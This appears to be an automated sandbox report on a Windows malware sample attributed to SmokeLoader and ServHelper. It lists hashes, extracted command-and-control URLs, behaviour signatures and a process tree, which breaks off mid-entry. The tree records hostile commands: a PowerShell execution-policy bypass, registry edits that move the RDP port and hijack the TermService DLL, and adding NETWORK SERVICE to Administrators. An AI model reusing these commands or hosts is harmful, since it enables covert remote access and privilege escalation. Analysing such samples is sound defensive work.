Analysis
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max time kernel
150s -
max time network
154s -
submitted
01-01-1970 00:00
Static task
static1
Behavioral task
behavioral1
Sample
fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe
Resource
win10-en-20210920
General
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Target
fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe
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Size
184KB
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MD5
a22719d5a3e3584d0f97b162691494c0
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SHA1
c6b651171b861668070cf32d673a64e8affb98aa
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SHA256
fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20
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SHA512
fd5f334f8244fd89e8a782190029ab00719482bec74243eab0e287312d608893859b2a1f96422dcbd2250809a441018d8f7764f44a17857496580699a73d0ae2
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
smokeloader
2020
http://brandyjaggers.com/upload/
http://andbal.com/upload/
http://alotofquotes.com/upload/
http://szpnc.cn/upload/
http://uggeboots.com/upload/
http://100klv.com/upload/
http://rapmusic.at/upload/
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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SmokeLoader
Modular backdoor trojan in use since 2014.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 9 IoCs
flow pid Process 60 68 powershell.exe 62 68 powershell.exe 63 68 powershell.exe 64 68 powershell.exe 66 68 powershell.exe 68 68 powershell.exe 70 68 powershell.exe 72 68 powershell.exe 74 68 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 2 IoCs
pid Process 3416 20D2.exe 1072 2EBE.exe -
Modifies RDP port number used by Windows 1 TTPs
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Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000c00000001abca-543.dat upx behavioral1/files/0x000c00000001abcb-546.dat upx -
Deletes itself 1 IoCs
pid Process 3028 Process not Found -
Loads dropped DLL 2 IoCs
pid Process 2232 Process not Found 2232 Process not Found -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\SysWOW64\rdpclip.exe powershell.exe -
Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe -
Drops file in Windows directory 24 IoCs
description ioc Process File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_zzmsqsdb.day.ps1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI948B.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI94AB.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_ktzww4lf.pma.psm1 powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI94BC.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI94CD.tmp powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI94DD.tmp powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 68 1072 WerFault.exe 72 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = a63109125baed701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe -
Modifies registry key 1 TTPs 2 IoCs
pid Process 2812 reg.exe 1428 reg.exe -
Runs net.exe
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Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 62 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 63 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 64 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 66 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2720 fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe 2720 fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3028 Process not Found -
Suspicious behavior: LoadsDriver 3 IoCs
pid Process 624 Process not Found 624 Process not Found 624 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2720 fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1000 powershell.exe Token: SeDebugPrivilege 796 powershell.exe Token: SeDebugPrivilege 1884 powershell.exe Token: SeIncreaseQuotaPrivilege 1884 powershell.exe Token: SeSecurityPrivilege 1884 powershell.exe Token: SeTakeOwnershipPrivilege 1884 powershell.exe Token: SeLoadDriverPrivilege 1884 powershell.exe Token: SeSystemProfilePrivilege 1884 powershell.exe Token: SeSystemtimePrivilege 1884 powershell.exe Token: SeProfSingleProcessPrivilege 1884 powershell.exe Token: SeIncBasePriorityPrivilege 1884 powershell.exe Token: SeCreatePagefilePrivilege 1884 powershell.exe Token: SeBackupPrivilege 1884 powershell.exe Token: SeRestorePrivilege 1884 powershell.exe Token: SeShutdownPrivilege 1884 powershell.exe Token: SeDebugPrivilege 1884 powershell.exe Token: SeSystemEnvironmentPrivilege 1884 powershell.exe Token: SeRemoteShutdownPrivilege 1884 powershell.exe Token: SeUndockPrivilege 1884 powershell.exe Token: SeManageVolumePrivilege 1884 powershell.exe Token: 33 1884 powershell.exe Token: 34 1884 powershell.exe Token: 35 1884 powershell.exe Token: 36 1884 powershell.exe Token: SeDebugPrivilege 2996 powershell.exe Token: SeIncreaseQuotaPrivilege 2996 powershell.exe Token: SeSecurityPrivilege 2996 powershell.exe Token: SeTakeOwnershipPrivilege 2996 powershell.exe Token: SeLoadDriverPrivilege 2996 powershell.exe Token: SeSystemProfilePrivilege 2996 powershell.exe Token: SeSystemtimePrivilege 2996 powershell.exe Token: SeProfSingleProcessPrivilege 2996 powershell.exe Token: SeIncBasePriorityPrivilege 2996 powershell.exe Token: SeCreatePagefilePrivilege 2996 powershell.exe Token: SeBackupPrivilege 2996 powershell.exe Token: SeRestorePrivilege 2996 powershell.exe Token: SeShutdownPrivilege 2996 powershell.exe Token: SeDebugPrivilege 2996 powershell.exe Token: SeSystemEnvironmentPrivilege 2996 powershell.exe Token: SeRemoteShutdownPrivilege 2996 powershell.exe Token: SeUndockPrivilege 2996 powershell.exe Token: SeManageVolumePrivilege 2996 powershell.exe Token: 33 2996 powershell.exe Token: 34 2996 powershell.exe Token: 35 2996 powershell.exe Token: 36 2996 powershell.exe Token: SeDebugPrivilege 3188 powershell.exe Token: SeIncreaseQuotaPrivilege 3188 powershell.exe Token: SeSecurityPrivilege 3188 powershell.exe Token: SeTakeOwnershipPrivilege 3188 powershell.exe Token: SeLoadDriverPrivilege 3188 powershell.exe Token: SeSystemProfilePrivilege 3188 powershell.exe Token: SeSystemtimePrivilege 3188 powershell.exe Token: SeProfSingleProcessPrivilege 3188 powershell.exe Token: SeIncBasePriorityPrivilege 3188 powershell.exe Token: SeCreatePagefilePrivilege 3188 powershell.exe Token: SeBackupPrivilege 3188 powershell.exe Token: SeRestorePrivilege 3188 powershell.exe Token: SeShutdownPrivilege 3188 powershell.exe Token: SeDebugPrivilege 3188 powershell.exe Token: SeSystemEnvironmentPrivilege 3188 powershell.exe Token: SeRemoteShutdownPrivilege 3188 powershell.exe Token: SeUndockPrivilege 3188 powershell.exe Token: SeManageVolumePrivilege 3188 powershell.exe -
Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found -
Suspicious use of SendNotifyMessage 9 IoCs
pid Process 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3028 wrote to memory of 3416 3028 Process not Found 70 PID 3028 wrote to memory of 3416 3028 Process not Found 70 PID 3028 wrote to memory of 1072 3028 Process not Found 72 PID 3028 wrote to memory of 1072 3028 Process not Found 72 PID 3028 wrote to memory of 1072 3028 Process not Found 72 PID 3416 wrote to memory of 1000 3416 20D2.exe 73 PID 3416 wrote to memory of 1000 3416 20D2.exe 73 PID 1000 wrote to memory of 1300 1000 powershell.exe 75 PID 1000 wrote to memory of 1300 1000 powershell.exe 75 PID 1300 wrote to memory of 1620 1300 csc.exe 76 PID 1300 wrote to memory of 1620 1300 csc.exe 76 PID 1072 wrote to memory of 796 1072 2EBE.exe 77 PID 1072 wrote to memory of 796 1072 2EBE.exe 77 PID 1072 wrote to memory of 796 1072 2EBE.exe 77 PID 1000 wrote to memory of 1884 1000 powershell.exe 79 PID 1000 wrote to memory of 1884 1000 powershell.exe 79 PID 796 wrote to memory of 3804 796 powershell.exe 82 PID 796 wrote to memory of 3804 796 powershell.exe 82 PID 796 wrote to memory of 3804 796 powershell.exe 82 PID 1000 wrote to memory of 2996 1000 powershell.exe 83 PID 1000 wrote to memory of 2996 1000 powershell.exe 83 PID 3804 wrote to memory of 1360 3804 csc.exe 85 PID 3804 wrote to memory of 1360 3804 csc.exe 85 PID 3804 wrote to memory of 1360 3804 csc.exe 85 PID 1000 wrote to memory of 3188 1000 powershell.exe 86 PID 1000 wrote to memory of 3188 1000 powershell.exe 86 PID 796 wrote to memory of 2928 796 powershell.exe 88 PID 796 wrote to memory of 2928 796 powershell.exe 88 PID 796 wrote to memory of 2928 796 powershell.exe 88 PID 1000 wrote to memory of 1916 1000 powershell.exe 90 PID 1000 wrote to memory of 1916 1000 powershell.exe 90 PID 1000 wrote to memory of 1428 1000 powershell.exe 91 PID 1000 wrote to memory of 1428 1000 powershell.exe 91 PID 1000 wrote to memory of 3808 1000 powershell.exe 92 PID 1000 wrote to memory of 3808 1000 powershell.exe 92 PID 1000 wrote to memory of 616 1000 powershell.exe 134 PID 1000 wrote to memory of 616 1000 powershell.exe 134 PID 616 wrote to memory of 3616 616 Conhost.exe 94 PID 616 wrote to memory of 3616 616 Conhost.exe 94 PID 1000 wrote to memory of 2104 1000 powershell.exe 95 PID 1000 wrote to memory of 2104 1000 powershell.exe 95 PID 2104 wrote to memory of 1432 2104 cmd.exe 138 PID 2104 wrote to memory of 1432 2104 cmd.exe 138 PID 1432 wrote to memory of 3688 1432 cmd.exe 97 PID 1432 wrote to memory of 3688 1432 cmd.exe 97 PID 3688 wrote to memory of 3428 3688 net.exe 98 PID 3688 wrote to memory of 3428 3688 net.exe 98 PID 1000 wrote to memory of 2472 1000 powershell.exe 99 PID 1000 wrote to memory of 2472 1000 powershell.exe 99 PID 2472 wrote to memory of 3592 2472 cmd.exe 100 PID 2472 wrote to memory of 3592 2472 cmd.exe 100 PID 3592 wrote to memory of 3984 3592 cmd.exe 101 PID 3592 wrote to memory of 3984 3592 cmd.exe 101 PID 3984 wrote to memory of 3852 3984 net.exe 102 PID 3984 wrote to memory of 3852 3984 net.exe 102 PID 2812 wrote to memory of 3824 2812 cmd.exe 106 PID 2812 wrote to memory of 3824 2812 cmd.exe 106 PID 3824 wrote to memory of 2180 3824 net.exe 107 PID 3824 wrote to memory of 2180 3824 net.exe 107 PID 3220 wrote to memory of 3096 3220 cmd.exe 110 PID 3220 wrote to memory of 3096 3220 cmd.exe 110 PID 3096 wrote to memory of 2204 3096 net.exe 111 PID 3096 wrote to memory of 2204 3096 net.exe 111 PID 3780 wrote to memory of 1564 3780 cmd.exe 114
Processes
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C:\Users\Admin\AppData\Local\Temp\fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe"C:\Users\Admin\AppData\Local\Temp\fa1fcf72d992ea50ebb366e7eacb38211abdde511dbdcb8ba7d4a9de8c37ec20.exe"1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2720
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C:\Users\Admin\AppData\Local\Temp\20D2.exeC:\Users\Admin\AppData\Local\Temp\20D2.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1000 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\culukjn0\culukjn0.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3C98.tmp" "c:\Users\Admin\AppData\Local\Temp\culukjn0\CSCDE041E13F578410097D928D65371E0AC.TMP"4⤵PID:1620
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1884
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2996
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3188
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1916
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1428
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:3808
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵PID:616
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:3616
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵PID:1432
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C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:3428
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:2472 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:3592 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:3984 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:3852
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:2124
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:2292
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C:\Users\Admin\AppData\Local\Temp\2EBE.exeC:\Users\Admin\AppData\Local\Temp\2EBE.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:796 -
